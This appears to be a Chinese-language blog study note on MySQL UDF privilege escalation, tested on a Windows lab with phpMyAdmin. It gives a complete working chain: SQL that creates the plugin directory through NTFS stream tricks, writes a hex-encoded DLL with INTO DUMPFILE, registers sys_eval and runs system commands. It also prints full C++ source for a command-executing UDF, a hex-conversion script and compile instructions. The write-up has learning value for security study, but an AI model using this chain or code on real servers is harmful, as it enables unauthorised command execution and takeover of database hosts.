目录
最近不知道为啥,整很多东西都开始往细节去研究。趁这个五一假期吧UDF提权的整个流程都给研究透先。而不是仅仅限于怎么操作就算了(感觉像一个毫无感情的测试机器)。
本文主要是在参考了其他资料做的总结。因为很多前辈已经有现成的成果了。
服务器:windows server 2008
web环境:phpStudy(php7,mysql5.5,apache2)
web应用:phpmyadmin
收集了一波文章和论坛的资料,这里就不做详细文字介绍,简单几句话明了概括一下
来源于先知文章的一句话:
UDF是Mysql提供给用户实现自己功能的一个接口,为了使UDF机制起作用,函数必须用C或C ++编写,并且操作系统必须支持动态加载。
简单理解,mysql可以自定义函数(功能接口),而且该自定义的函数(功能接口)的具体实现方法可以写到DLL中,让mysql动态加载DLL即可。
就是说,我们只要编写动态连接库(DLL)让Mysql加载即可。
正常情况下我们遇到phpmyadmin弱口令,可执行任意SQL语句。
当然这个情况下我们通常有很多种方法进行getshell,后面其他篇章介绍。这里主要讲UDF
查看mysql安装目录路径
select @@base_dir;
查看mysql插件目录路径
mysql插件目录可能有不存在的情况
通过adfs流的方式创建文件夹,虽然报错,但已经成功创建了
select ‘test‘ into dumpfile ‘C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION‘;
继续通过这个方式创建lib下的plugin目录
select ‘test‘ into dumpfile ‘C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION‘;
创建完成目录之后,将文件写入目标服务器的mysql插件目录中
因为我们现在只能操作sql语句,不支持直接上传文件因此有两种操作
本文主要介绍十六进制的方式直接写入文件
SELECT 十六进制字符串INTO DUMPFILE "C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll"
在写入之前可以使用以下代码对dll文件进行转码转hex
import binasciidef main(): file_handle = open("mysql_udf_c++.dll").read() print binascii.b2a_hex(file_handle)if __name__ == "__main__": main()
已写入目录中
导入函数(注意导入函数名需要与dll中的函数名对应,这个后面展开讲细节)
CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.dll"
命令执行成功
select sys_eval(‘whoami‘)
期间踩了不少坑。后面细节展开的时候讲。
mysql < 4.1
所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。(从一个博客上面复制下来的一句话)
4.1 <= mysql < 5.0
特定函数接口才可以调用
5.0 <= mysql <5.1
增加DLL位置限制
5.1 <= mysql
只能在plugin目录下且。
可以直接使用现有的dll,也可以使用项目进行编译
https://xz.aliyun.com/t/2365
这片文章把源码贴出来了,使用visual studio code打开源码进行编译,有几处需要配置
(1)打开项目的.sln进行加载时若项目需要更新,则点击确定即可
(2)替换源码成可以自己想要的,我这边直接复制了他可以执行命令那部分的源码
#include <winsock.h>#include <mysql.h> #ifndef UNICODE#define UNICODE#endif#pragma comment(lib, "netapi32.lib")#include <stdio.h>#include <windows.h> #include <lm.h>//--------extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message){ //参数长度 unsigned int i = 0; if (args->arg_count == 1 && args->arg_type[i] == STRING_RESULT) { return 0; } else { strcpy( message , "Expected exactly one string type parameter" ); return 1; }}extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error){ FILE *pipe; char buff[1024]; unsigned long outlen, linelen; // 开辟内存 result = (char*)malloc(sizeof(char)); outlen = 0; // 创建管道 pipe = _popen(args->args[0], "r"); // 读取管道数据 while (fgets(buff, sizeof(buff), pipe) != NULL) { linelen = strlen(buff); result = (char*)realloc(result, outlen + linelen); // 把管道内容拷贝进返回结果里 strncpy(result + outlen, buff, linelen); outlen = outlen + linelen; } // 关闭管道 _pclose(pipe); // 当*is_null被设置为1时,返回值为NULL if (!(*result) || result == NULL) { *is_null = 1; } else { result[outlen] = 0x00; *length = strlen(result); } // 返回结果 return result;}extern "C" __declspec(dllexport)void sys_eval_deinit( UDF_INIT *initid){ if (initid->ptr) { free(initid->ptr); }}
(2)修改版本
(3)项目属性设置
导入源码之后肯定会缺mysql.h和libmysql.lib
mysql.h下载地址
https://downloads.mysql.com/archives/c-c/
设置附加包含目录指向mysql-connector-c-6.1.11-winx64\include
libmysql.lib确实要在链接器中加载
import binasciidef main(): file_handle = open("mysql_udf_c++.dll","rb").read() #print len(file_handle) print binascii.b2a_hex(file_handle)if __name__ == "__main__": main()
加载的时候可能会出现各种各样的报错,包括操作系统版本等等
在github上面看到了各个报错的情况的分析
https://github.com/mysqludf/lib_mysqludf_str/blob/master/README.win_x86.txt
(本文参考了多个blog,可能出现贴漏的情况)
https://downloads.mysql.com/archives/c-c/
https://xz.aliyun.com/t/2719
https://shinpachi8.github.io/2017/09/03/mysql-udf-exploit-复现小记/
https://xz.aliyun.com/t/2365
https://xz.aliyun.com/t/2167
https://www.cnblogs.com/-mo-/p/11678990.html
https://paper.404sec.com/7815.html